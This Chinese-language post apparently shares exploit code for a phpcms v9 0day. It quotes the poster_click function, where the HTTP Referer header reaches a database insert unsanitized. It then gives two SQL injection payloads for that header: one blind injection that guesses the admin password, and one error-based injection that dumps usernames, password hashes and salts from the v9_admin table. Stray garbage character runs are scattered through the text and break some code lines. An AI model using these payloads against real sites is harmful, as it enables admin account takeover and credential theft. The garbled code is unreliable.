phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php

public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
7 U" E7 `" G8 {% c: ]% ~$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
( L% i9 P" i3 V; C, Y6 @. d$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
* E* T; O: ~$ U/ gif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
7 R) B' E0 G4 g, ~6 \$setting = string2array($r['setting']);
0 ]7 r0 d4 L! i$ o, e% T; A4 Eif (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}
! L' I+ U; b" y
7 J( l( r: I, h! V9 k3 a

利用方式：

/ k! g( j$ G, u6 t1、可以采用盲注入的手法：
( }" J2 J4 Z' E4 m2 {6 D  N& K
( ]$ H1 I; F, A9 s+ Ireferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：
/ Y, a! e+ Z$ K& E- n) s2 q
; D( T' l* ^# E/ E! m& [: U. J1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

5 D5 h% W* `+ v此方法是爆错注入手法，原理自查。
